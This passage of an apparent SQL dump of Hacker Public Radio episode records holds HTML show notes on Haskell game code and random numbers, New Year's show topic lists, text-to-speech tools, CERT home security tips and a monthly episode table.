first step is to load all planets owned by the faction and buildings on those planets. Applying <code>researchOutput</code> function to each building yields a list of <code>TotalResearchScore</code>, which is then summed up by <code>mconcat</code>. We can use <code>mconcat</code> as <code>TotalResearchScore</code> is a monoid (I talked about these couple episodes ago).</p>\r\n<pre><code>totalProduction fId = do\r\n    pnbs &lt;- factionBuildings fId\r\n    let buildings = join $ fmap snd pnbs\r\n    return $ mconcat $ researchOutput . entityVal &lt;$&gt; buildings</code></pre>\r\n<p><code>researchOutput</code> function below uses pattern matching. Instead of writing one function definition and case expression inside of it, we’re writing multiple definitions. Each of them matches building of different type. First example is definition that is used for <code>ResearchComplex</code>, while second one is for <code>ParticleAccelerator</code>. Final case uses underscore to match anything and indicate that we’re not even interested on the particular value being matched. <code>mempty</code> is again from our monoid definition. It is empty or unit value of monoid, which in case of <code>TotalResearchScore</code> is zero points in all research categories.</p>\r\n<pre><code>researchOutput Building { buildingType = ResearchComplex } =\r\n    TotalResearchScore\r\n    { totalResearchScoreEngineering = ResearchScore 10\r\n    , totalResearchScoreNatural = ResearchScore 10\r\n    , totalResearchScoreSocial = ResearchScore 10\r\n    }\r\n\r\nresearchOutput Building { buildingType = ParticleAccelerator } =\r\n    TotalResearchScore\r\n    { totalResearchScoreEngineering = ResearchScore 15\r\n    , totalResearchScoreNatural = ResearchScore 15\r\n    , totalResearchScoreSocial = ResearchScore 0\r\n    }\r\n\r\nresearchOutput _ = mempty</code></pre>\r\n<h2 id=\"updating-progress\">Updating progress</h2>\r\n<p>Moving research forward is more complex looking function. There’s bunch of filtering and case expressions going on, but the idea is hopefully clear after a bit of explanation.</p>\r\n<p><code>updateProgress</code> takes two parameters, total production of research points and current research that is being modified. This assumes that there are only one of each categories of research going on at any given time. If there were more, we would have to divide research points between them by some logic. Function calculates effect of research points on current research and produces a new current research that is the end result.</p>\r\n<p>Perhaps the most interesting part is use of lenses. For example, line <code>entityValL . currentResearchProgressL +~ engResearch $ curr</code> means that <code>curr</code> (which is <code>Entity CurrentResearch</code>) is used as starting point. First we reach to data part of <code>Entity</code> and then we focus on <code>currentResearchProgress</code> and add <code>engResearch</code> to it. This results a completely new <code>Entity CurrentResearch</code> being constructed, which is otherwise identical with the original, but the <code>currentResearchProgress</code> has been modified. Without lenses we would have to do this destructuring and restructuring manually.</p>\r\n<pre><code>updateProgress :: TotalResearchScore ResearchProduction -&gt; Entity CurrentResearch -&gt; Entity CurrentResearch\r\nupdateProgress prod curr =\r\n    case researchCategory &lt;$&gt; research of\r\n        Just (Engineering _) -&gt;\r\n            entityValL . currentResearchProgressL +~ engResearch $ curr\r\n\r\n        Just (NaturalScience _) -&gt;\r\n            entityValL . currentResearchProgressL +~ natResearch $ curr\r\n\r\n        Just (SocialScience _) -&gt;\r\n            entityValL . currentResearchProgressL +~ socResearch $ curr\r\n\r\n        Nothing -&gt;\r\n            curr\r\n    where\r\n        research = Map.lookup (currentResearchType . entityVal $ curr) techMap\r\n        engResearch = unResearchScore $ totalResearchScoreEngineering prod\r\n        natResearch = unResearchScore $ totalResearchScoreNatural prod\r\n        socResearch = unResearchScore $ totalResearchScoreSocial prod</code></pre>\r\n<p>Writing unfinished research back to database is short function. First we find ones that hasn’t been finished by filtering with <code>(not . researchReady . entityVal)</code> and then we apply <code>replace</code> to write them back one by one.</p>\r\n<pre><code>updateUnfinished updated = do\r\n    let unfinished = filter (not . researchReady . entityVal) updated\r\n    mapM (\\x -&gt; replace (entityKey x) (entityVal x)) unfinished</code></pre>\r\n<p>Handling finished research starts by finding out which ones were actually completed by filtering with <code>(researchReady . entityVal)</code> and their research type with <code>currentResearchType . entityVal</code>. Rest of the function is all about database actions: creating entries into <code>completed_research</code> and adding news entries for each completed research, then removing entries from <code>current_research</code> and <code>available_research</code>.</p>\r\n<pre><code>handleCompleted date updated fId = do\r\n    let finished = filter (researchReady . entityVal) updated\r\n    let finishedTech = currentResearchType . entityVal &lt;$&gt; finished\r\n    insertMany_ $ currentToCompleted date . entityVal &lt;$&gt; finished\r\n    insertMany_ $ researchCompleted date fId . (currentResearchType . entityVal) &lt;$&gt; finished\r\n    deleteWhere [ CurrentResearchId &lt;-. fmap entityKey finished ]\r\n    deleteWhere [ AvailableResearchType &lt;-. finishedTech\r\n                , AvailableResearchFactionId ==. fId ]</code></pre>\r\n<h2 id=\"available-research\">Available research</h2>\r\n<p>Figuring out what researches will be available for the next turn takes several steps. I won’t be covering random numbers in detail, they’re interesting enough for an episode on their own. It’s enough to know that <code>g &lt;- liftIO getStdGen</code> gets us a new random number generator that is seeded by current time.</p>\r\n<p><code>updateAvailableResearch</code> starts by loading available research and current research for the faction and initializing a new random number generator. <code>g</code> can be used multiple times, but it’ll always return same sequence of numbers. Here it doesn’t matter, but in some cases it might. <code>getR</code> is helper function I wrote that uses random number generator to pick <code>n</code> entries from a given list. <code>n</code> in our case is hard coded to 3, but later on I’ll add possibility for player to research technologies that raise this limit. <code>newAvailableResearch</code> (we’ll look into its implementation closer just in a bit) produces a list of available research for specific research category. These lists are combined with <code>&lt;&gt;</code> operator and written into database with <code>rewriteAvailableResearch</code>.</p>\r\n<pre><code>updateAvailableResearch fId = do\r\n    available &lt;- selectList [ AvailableResearchFactionId ==. fId ] []\r\n    completed &lt;- selectList [ CompletedResearchFactionId ==. fId ] []\r\n    g &lt;- liftIO getStdGen\r\n    let maxAvailable = ResearchLimit 3\r\n    -- reusing same g should not have adverse effect here\r\n    let engCand = getR g (unResearchLimit maxAvailable) $ newAvailableResearch isEngineering maxAvailable available completed\r\n    let natCand = getR g (unResearchLimit maxAvailable) $ newAvailableResearch isNaturalScience maxAvailable available completed\r\n    let socCand = getR g (unResearchLimit maxAvailable) $ newAvailableResearch isSocialScience maxAvailable available completed\r\n    rewriteAvailableResearch fId $ engCand &lt;&gt; natCand &lt;&gt; socCand</code></pre>\r\n<p><code>newAvailableResearch</code> is in charge of figuring out what, if any, new research should be available in the next turn. In case where amount of currently available research is same or greater than research limit, empty list is returned, otherwise function calculates candidates and returns them. Logic for that is following:</p>\r\n<ul>\r\n<li>candidates are research of specific category of those that has been unlock and unresearched</li>\r\n<li>unlocked and unresearched are unlocked ones that are in list of known technology</li>\r\n<li>unlocked research are ones with antecedents available in tech tree</li>\r\n<li>known technology are ones in list of completed research</li>\r\n</ul>\r\n<p>and complete definition of the function is shown below:</p>\r\n<pre><code>newAvailableResearch selector limit available completed =\r\n    if ResearchLimit (length specificCategory) &gt;= limit\r\n        then []\r\n        else candidates\r\n    where\r\n        specificCategory = filter (availableResearchFilter selector) available\r\n        candidates = filter (selector . researchCategory) unlockedAndUnresearched\r\n        unlockedAndUnresearched = filter (\\x -&gt; researchType x `notElem` knownTech) unlockedResearch\r\n        unlockedResearch = filter (antecedentsAvailable knownTech) $ unTechTree techTree\r\n        knownTech = completedResearchType . entityVal &lt;$&gt; completed\r\n\r\n\r\navailableResearchFilter f x =\r\n    maybe False (f . researchCategory) res\r\n    where\r\n        res = Map.lookup (availableResearchType $ entityVal x) techMap</code></pre>\r\n<p>Final step of the simulation of research is to update database with new available research. <code>mkUniq</code> is helper function that removes duplicate elements from a list. It’s used in <code>rewriteAvailableResearch</code> function to make a list that contains all unique top research categories (engineering, natural sciences and social sciences). If the resulting list isn’t empty, we’ll use it to remove all available research for those top categories and insert new available research.</p>\r\n<pre><code>rewriteAvailableResearch fId res = do\r\n    let cats = mkUniq $ fmap (topCategory . researchCategory) res\r\n    unless (null cats) $ do\r\n        deleteWhere [ AvailableResearchFactionId ==. fId\r\n                    , AvailableResearchCategory &lt;-. cats ]\r\n        insertMany_ $ researchToAvailable fId &lt;$&gt; res</code></pre>\r\n<p>Now everything is ready for next round of simulation.</p>\r\n',364,107,0,'CC-BY-SA','haskell',0,0,1),
(2838,'2019-06-19','Why Haskell?',1900,'tuturto tries to answer Beeza\'s question on why would someone want to use Haskell','<p>I got really good comment on episode <a href=\"https://hackerpublicradio.org/eps.php?id=2778\">2778 - Functor and applicative in Haskell</a> from Beeza that I’m including below:</p>\r\n<blockquote>\r\n<p>I’ve been writing software for over 30 years but I find the syntax of Haskell anything but intuitive - in fact less so than any other programming language I have looked at. Thanks to your excellent show notes I can make sense of it but I have to say I would not like to have to develop a project using this language.</p>\r\n</blockquote>\r\n<blockquote>\r\n<p>Obviously I am missing the point as nobody would design a language with the intention of its being difficult to use. Perhaps you could produce another episode addressing the question “Why Haskell?”</p>\r\n</blockquote>\r\n<p>In this episode, I’m trying to answer to that from my point of view.</p>\r\n',364,107,0,'CC-BY-SA','haskell, response',0,0,1),
(2835,'2019-06-14','2018-2019 New Years Eve show part 2',9088,'The HPR community comes together to say happy new year and chat','<h2>Hacker Public Radio New Years Show episode 2</h2>\r\n<ul>\r\n<li>Claudio talks about doing IT for a school</li>\r\n<li>Pinebook discussion - complaints about keyboard, speakers, trackpad<br />\r\n<a href=\"https://www.pine64.org\">https://www.pine64.org</a></li>\r\n<li>Scanning photo negatives</li>\r\n<li>Camera discussion</li>\r\n<li>Firefly<br />\r\n<a href=\"https://www.imdb.com/title/tt0303461\">https://www.imdb.com/title/tt0303461</a></li>\r\n<li>Serenity<br />\r\n<a href=\"https://www.imdb.com/title/tt0379786\">https://www.imdb.com/title/tt0379786</a></li>\r\n<li>Babylon 5<br />\r\n<a href=\"https://www.imdb.com/title/tt0105946\">https://www.imdb.com/title/tt0105946</a></li>\r\n<li>POLYBIUS - The Video Game That Doesn\'t Exist<br />\r\n<a href=\"https://www.youtube.com/watch?v=_7X6Yeydgyg\">https://www.youtube.com/watch?v=_7X6Yeydgyg</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/Polybius\">https://en.wikipedia.org/wiki/Polybius</a></li>\r\n<li>Cicada 3301<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Cicada_3301\">https://en.wikipedia.org/wiki/Cicada_3301</a></li>\r\n<li>Ahoy you channel<br />\r\n<a href=\"https://www.youtube.com/channel/UCE1jXbVAGJQEORz9nZqb5bQ\">https://www.youtube.com/channel/UCE1jXbVAGJQEORz9nZqb5bQ</a></li>\r\n<li>Resilo Sync<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Resilio_Sync\">https://en.wikipedia.org/wiki/Resilio_Sync</a></li>\r\n<li>Mintcast<br />\r\n<a href=\"https://mintcast.org/\">https://mintcast.org/</a></li>\r\n<li>Zoom H2<br />\r\n<a href=\"https://www.zoom-na.com/products/field-video-recording/field-recording/h2-handy-recorder\">https://www.zoom-na.com/products/field-video-recording/field-recording/h2-handy-recorder</a></li>\r\n<li>LG Tone headsets<br />\r\n<a href=\"https://www.lg.com/us/bluetooth-headsets-headphones\">https://www.lg.com/us/bluetooth-headsets-headphones</a></li>\r\n<li>Urbanite XL<br />\r\n<a href=\"https://en-us.sennheiser.com/urbanite-xl\">https://en-us.sennheiser.com/urbanite-xl</a></li>\r\n<li>cmhobbs joins and asks for episode input.  will record winter field day 2019 from northwest arkansas.</li>\r\n\r\n<li>Book & audiobook</li>\r\n<li>Recommendations for books:<br />\r\n<ol>\r\n<li>Daemon by Daniel Suarez, <a href=\"https://daniel-suarez.com/\">https://daniel-suarez.com/</a></li>\r\n<li>Skyward by Brandon Sanderson, <a href=\"https://brandonsanderson.com/books/skyward/skyward/\">https://brandonsanderson.com/books/skyward/skyward/</a></li>\r\n</ol>\r\n</li>\r\n<li>Audiobook reading tips:<br />\r\n<ol>\r\n<li>To get into audiobooks, try listening to a book you\'ve read before</li>\r\n<li>Try increasing or decreasing the speed of the book</li>\r\n<li>Use the TTS feature of your eBook reader to create your own audiobooks</li>\r\n<li>Oddity of TTS mispronouncing words can be fun or frustrating</li>\r\n</ol>\r\n<li>Linux desktop upgrade fun</li>\r\n<li>MX Linux<br />\r\n<a href=\"https://mxlinux.org/\">https://mxlinux.org/</a></li>\r\n<li>AntiX Linux<br />\r\n<a href=\"https://antixlinux.com/\">https://antixlinux.com/</a></li>\r\n<li>exwm<br />\r\n<a href=\"https://github.com/ch11ng/exwm\">https://github.com/ch11ng/exwm</a></li>\r\n<li>ZFS on Linux<br />\r\n<a href=\"https://zfsonlinux.org/\">https://zfsonlinux.org/</a></li>\r\n<li>Dell venue 11 pro<br />\r\n<a href=-\"https://www.dell.com/en-us/work/shop/cty/venue-11-pro/spd/dell-venue-11-pro\">https://www.dell.com/en-us/work/shop/cty/venue-11-pro/spd/dell-venue-11-pro</a></li>\r\n<li>Acer aspire 1<br />\r\n<a href=\"https://www.acer.com/ac/en/US/content/series/aspire1\">https://www.acer.com/ac/en/US/content/series/aspire1</a></li>\r\n</ul>\r\n',159,121,0,'CC-BY-SA','HPR new years show, new years, community',0,0,1),
(2840,'2019-06-21','2018-2019 New Years Eve show part 3',7293,'The HPR community comes together to say happy new year and chat','<h2>Hacker Public Radio New Years Show episode 3</h2>\r\n<p>Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019</p>\r\n<ul>\r\n<li>Gaming PC vs Console</li>\r\n<li>Steam<br />\r\n<a href=\"https://store.steampowered.com/\">https://store.steampowered.com/</a></li>\r\n<li>Gaming on Linux with Proton<br />\r\n<a href=\"https://steamcommunity.com/games/221410/announcements/detail/1696055855739350561\">https://steamcommunity.com/games/221410/announcements/detail/1696055855739350561</a></li>\r\n<li>Good ol Games<br />\r\n<a href=\"https://www.gog.com/\">https://www.gog.com/</a></li>\r\n<li>Humble Bundle<br />\r\n<a href=\"https://www.humblebundle.com/\">https://www.humblebundle.com/</a></li>\r\n<li>God of War<br />\r\n<a href=\"https://godofwar.playstation.com/\">https://godofwar.playstation.com/</a></li>\r\n<li>The Witcher<br />\r\n<a href=\"https://thewitcher.com/en/\">https://thewitcher.com/en/</a></li>\r\n<li>Ghost of Tsushima<br />\r\n<a href=\"https://www.suckerpunch.com/category/games/ghost-of-tsushima/\">https://www.suckerpunch.com/category/games/ghost-of-tsushima/</a></li>\r\n<li>Plumble<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.morlunk.mumbleclient.free&hl=en_US\">https://play.google.com/store/apps/details?id=com.morlunk.mumbleclient.free&hl=en_US</a></li>\r\n<li>mint cast<br />\r\n<a href=\"https://mintcast.org/\">https://mintcast.org/</a></li>\r\n<li>Free DOS<br />\r\n<a href=\"https://www.freedos.org/\">https://www.freedos.org/</a></li>\r\n<li>Compact flash<br />\r\n<a href=\"https://en.wikipedia.org/wiki/CompactFlash\">https://en.wikipedia.org/wiki/CompactFlash</a></li>\r\n<li>rtl-sdr<br />\r\n<a href=\"https://www.amazon.com/RTL-SDR-Blog-RTL2832U-Software-Defined/dp/B0129EBDS2\">https://www.amazon.com/RTL-SDR-Blog-RTL2832U-Software-Defined/dp/B0129EBDS2</a></li>\r\n<li>Cigarettes</li>\r\n<li>Taxing</li>\r\n<li>Alcohol</li>\r\n<li>Old Speckled Hen beer<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Old_Speckled_Hen\">https://en.wikipedia.org/wiki/Old_Speckled_Hen</a></li>\r\n<li>Motorcycles</li>\r\n<li>Harley Davidson<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Harley-Davidson\">https://en.wikipedia.org/wiki/Harley-Davidson</a></li>\r\n<li>Electric Cars</li>\r\n</ul>\r\n',159,121,0,'CC-BY-SA','HPR new years show, new years, community',0,0,1),
(2845,'2019-06-28','2018-2019 New Years Eve show part 4',10265,'The HPR community comes together to say happy new year and chat','<h2>Hacker Public Radio New Years Show episode 4</h2>\r\n<p>Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019</p>\r\n<ul>\r\n<li>3D Printing</li>\r\n<li>OSMC<br />\r\n<a href=\"https://osmc.tv/\">https://osmc.tv/</a></li>\r\n<li>Anet A8<br />\r\n<a href=\"https://3dprint.wiki/reprap/anet/a8\">https://3dprint.wiki/reprap/anet/a8</a></li>\r\n<li>Dell Venue 11 pro 7130<br />\r\n<ol>\r\n<li><a href=\"https://www.cnet.com/products/dell-venue-11-pro/specs/\">https://www.cnet.com/products/dell-venue-11-pro/specs/</a></li>\r\n<li><a href=\"https://www.studioteabag.com/science/dell-venue-pro-linux/DV11P/\">https://www.studioteabag.com/science/dell-venue-pro-linux/DV11P/</a></li>\r\n</ol>\r\n</li>\r\n<li>Drag vape<br />\r\n<a href=\"https://en.voopootech.com/drag-param\">https://en.voopootech.com/drag-param</a></li>\r\n<li>Gigabyte Brix<br />\r\n<a href=\"https://www.gigabyte.com/us/Mini-PcBarebone\">https://www.gigabyte.com/us/Mini-PcBarebone</a></li>\r\n<li>SDR talk</li>\r\n<li>DSP hack a day<br />\r\n<a href=\"https://hackaday.com/tag/dsp/\">https://hackaday.com/tag/dsp/</a></li>\r\n<li>Mastodon<br />\r\n<a href=\"https://joinmastodon.org/\">https://joinmastodon.org/</a></li>\r\n<li>hpr 2627 Home phone setup<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2627\">https://hackerpublicradio.org/eps.php?id=2627</a></li>\r\n<li>Asterisk<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Asterisk_(PBX)\">https://en.wikipedia.org/wiki/Asterisk_(PBX)</a></li>\r\n<li>Hanging LED lights</li>\r\n<li>The Wall</li>\r\n<li>Clipper chip<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Clipper_chip\">https://en.wikipedia.org/wiki/Clipper_chip</a></li>\r\n<li>Podcasting</li>\r\n<li>Time zones yet again</li>\r\n<li>Firearms</li>\r\n<li>President Trump</li>\r\n<li>Linux action news<br />\r\n<a href=\"https://linuxactionnews.com/\">https://linuxactionnews.com/</a></li>\r\n<li>Late night Linux<br />\r\n<a href=\"https://latenightlinux.com/\">https://latenightlinux.com/</a></li>\r\n<li>User error<br />\r\n<a href=\"https://www.jupiterbroadcasting.com/show/error/\">https://www.jupiterbroadcasting.com/show/error/</a></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR new years show, new years, community',0,0,1),
(2825,'2019-05-31','More text to speech trials',286,'A supplementary show to Jeroens episode 2792','<p>\r\nA supplementary show to Jeroens episode <a href=\"https://hackerpublicradio.org/eps.php?id=2792\">HPR2792 :: Playing around with text to speech synthesis on Linux</a>.\r\n</p>\r\n<p>\r\nI found two addional options. The first is <a href=\"https://mimic.mycroft.ai/\">mimic</a>\r\n</p>\r\n<pre>\r\n# dnf info mimic\r\nSummary      : Mycroft\'s TTS engine\r\nURL          : https://mimic.mycroft.ai/\r\nLicense      : BSD\r\nDescription  : Mimic is a fast, lightweight Text-to-speech engine developed by Mycroft A.I.\r\n             : and VocalID, based on Carnegie Mellon University’s FLITE software. Mimic takes\r\n             : in text and reads it out loud to create a high quality voice. Mimic\'s\r\n             : low-latency, small resource footprint, and good quality voices set it apart\r\n             : from other open source text-to-speech projects.\r\n</pre>\r\n\r\n<p>\r\nAnd the second is <a href=\"https://gtts.readthedocs.io/en/latest/index.html\">gTTS</a> which is a interface to the google TTS api.\r\n</p>\r\n',30,0,0,'CC-BY-SA','gTTS, Mimic, tts',0,0,1),
(2848,'2019-07-03','Random numbers in Haskell',1957,'tuturto talks how to generate random numbers (and other values) in Haskell','<p>There’s lots of random and similar sounding words in this episode. I hope you can still follow what I’m trying to explain, but I’m aware that it might be hard.</p>\r\n<p>Haskell functions are pure, meaning that they will always produce same values for same set of arguments. This might sound hard when you want to generate random numbers, but it turns out that the solution isn’t too tricky.</p>\r\n<p>First part to the puzzle is type class <code>RandomGen</code>:</p>\r\n<pre><code>class RandomGen g where\r\n    next :: g -&gt; (Int, g)\r\n    genRange :: g -&gt; (Int, Int)\r\n    split :: g -&gt; (g, g)</code></pre>\r\n<p><code>next</code> produces tuple, where first element is random <code>Int</code> and second element is new random generator. <code>genRange</code> returns tuple defining minimum and maximum values this generator will return. <code>split</code> produces tuple with two new random generators.</p>\r\n<p>Using <code>RandomGen</code> to produce random values of specific type or for specific range requires a bit of arithmetic. It’s easier to use <code>Random</code> that defines functions for that specific task:</p>\r\n<pre><code>class Random a where\r\n    randomR :: RandomGen g =&gt; (a, a) -&gt; g -&gt; (a, g)\r\n    random :: RandomGen g =&gt; g -&gt; (a, g)\r\n    randomRs :: RandomGen g =&gt; (a, a) -&gt; g -&gt; [a]\r\n    randoms :: RandomGen g =&gt; g -&gt; [a]\r\n    randomRIO :: (a, a) -&gt; IO a\r\n    randomIO :: IO a</code></pre>\r\n<ul>\r\n<li><code>randomR</code>, when given range and random generator, produces tuple with random number and new generator</li>\r\n<li><code>random</code>, is similar but doesn’t take range. Instead it will use minimum and maximum specific to that data type</li>\r\n<li><code>randomRs</code>, takes range and produces infinite list of random values within that range</li>\r\n<li><code>randoms</code>, simply produces infinite list of random values using range that is specific to datatype</li>\r\n<li><code>randomRIO</code> and <code>randomIO</code> are effectful versions that don’t need random generator, but use some default one</li>\r\n</ul>\r\n<p>In short, <code>RandomGen</code> is source of randomness and <code>Random</code> is datatype specific way of generating random values using random generator <code>RandomGen</code>.</p>\r\n<p>Final part of the puzzle is where to get <code>RandomGen</code>? One could initialize one manually, but then it wouldn’t be random. However, there’s function <code>getStdGen</code> that will seed <code>RandomGen</code> using OS default random number generator, current time or some other method. Since it has signature of <code>getStdGen :: IO StdGen</code>, one can only call it in IO monad.</p>\r\n<p>Functions that operate with IO can only be called from other IO functions. They can call pure functions, but pure functions can’t call them. So there’s two options: have the code that needs random numbers in effectful function or get <code>RandomGen</code> in effectful function and pass it to pure function.</p>\r\n<h2 id=\"example\">Example</h2>\r\n<pre><code>import System.Random\r\nimport Data.List\r\n\r\n-- | get n unique entries from given list in random order\r\n-- | if n &gt; length of list, all items of the list will be returned\r\ngetR :: RandomGen g =&gt; g -&gt; Int -&gt; [a] -&gt; [a]\r\ngetR g n xs =\r\n    fmap (xs !!) ids\r\n    where\r\n        ids = take (min n $ length xs) $ nub $ randomRs (0, length xs - 1) g\r\n\r\n-- | Returns 4 unique numbers between 1 and 10 (inclusive)\r\ntest :: IO [Int]\r\ntest = do\r\n    g &lt;- getStdGen\r\n    return $ getR g 4 [1..10]</code></pre>\r\n<h2 id=\"in-closing\">In closing</h2>\r\n<p>Pseudo randomness doesn’t require IO, only seeding the generator does. Simple computation that don’t require many calls to <code>random</code> are easy enough. If you need lots of random values, <a href=\"https://hackage.haskell.org/package/MonadRandom-0.4.1/docs/Control-Monad-Random-Class.html\"><code>MonadRandom</code></a> is better suited. It takes care of carrying implicit <code>RandomGen</code> along while your computation progresses.</p>\r\n<p>Best way to catch me nowadays is either email or fediverse where I’m <code>tuturto@mastodon.social</code></p>\r\n',364,107,0,'CC-BY-SA','haskell, random numbers',0,0,1),
(2820,'2019-05-24','29 - CERT Home Security Tips',1337,'What CERT recommends to mitigate security and privacy threats to your home network.','<p>The Computer Emergency Readiness Team of the US Department of Homeland Security issues a security bulletin, ST15-002, which has tips for home network security. In this episode we review these tips and why they make sense.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.us-cert.gov/ncas/tips/ST15-002\" class=\"uri\">https://www.us-cert.gov/ncas/tips/ST15-002</a></li>\r\n<li><a href=\"https://www.zwilnik.com/\" class=\"uri\">https://www.zwilnik.com/</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','Home Networks, Security',0,0,1),
(2821,'2019-05-27','Interviewing some exhibitors at the 2019 vcfe.org event',2784,'I interviewed some of the exhibitors at the recent vcfe.org event in Munich, Germany.','<p>I visited the vcfe.org event in Munich, Germany.</p>\r\n<p>Below you will find some urls for the projects that I came across.</p>\r\n<ul>\r\n<li>Steckschwein 6502 computer: <a href=\"https://steckschwein.de/\" class=\"uri\">https://steckschwein.de/</a></li>\r\n<li>Siemens Simatic S5 PLC: <a href=\"https://en.wikipedia.org/wiki/Simatic_S5_PLC\" class=\"uri\">https://en.wikipedia.org/wiki/Simatic_S5_PLC</a></li>\r\n<li>CP/M operating system: <a href=\"https://en.wikipedia.org/wiki/CP/M\" class=\"uri\">https://en.wikipedia.org/wiki/CP/M</a></li>\r\n<li>Old fashioned MUD game Nemesis: <a href=\"https://nemesis.de\" class=\"uri\">https://nemesis.de</a></li>\r\n<li>Eastern Germany Robotron hardware: <a href=\"https://en.wikipedia.org/wiki/VEB_Robotron\" class=\"uri\">https://en.wikipedia.org/wiki/VEB_Robotron</a></li>\r\n</ul>\r\n<p>If you like these things, the next exhibition will be in September in Berlin (you can find more info on <a href=\"https://vcfb.de/2019/\">vcfb.de</a>).</p>\r\n<p>Regards, Jeroen Baten</p>',369,78,0,'CC-BY-SA','vcfe, vintage, computers, exhibition, munich, germany',0,0,1),
(3111,'2020-07-06','HPR Community News for June 2020',3596,'Dave struggles to keep Ken on track as they talk about shows and comments in June 2020','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3086\" target=\"_blank\">3086</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-06-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3086\" target=\"_blank\">HPR Community News for May 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3087\" target=\"_blank\">3087</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-06-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3087\" target=\"_blank\">Phonetic alphabet</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3088\" target=\"_blank\">3088</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-06-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3088\" target=\"_blank\">Matchbox Restoration Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3089\" target=\"_blank\">3089</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-06-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3089\" target=\"_blank\">For my Entertainment</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3090\" target=\"_blank\">3090</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-06-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3090\" target=\"_blank\">Locating Computer on a Enterprise Network</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3091\" target=\"_blank\">3091</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-06-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3091\" target=\"_blank\">fuguserv</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3092\" target=\"_blank\">3092</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-06-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3092\" target=\"_blank\">Pens, pencils, paper and ink - 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3093\" target=\"_blank\">3093</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-06-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3093\" target=\"_blank\">Response to Linux Inlaws S01E06 (hpr 3079) on NeXT</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3094\" target=\"_blank\">3094</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-06-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3094\" target=\"_blank\">Holy crud! I have a kinesis advantage 2 keyboard!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3095\" target=\"_blank\">3095</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-06-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3095\" target=\"_blank\">Intro to GIMP</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3096\" target=\"_blank\">3096</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-06-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3096\" target=\"_blank\">Unscripted ramblings on a walk:  PC Building.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" 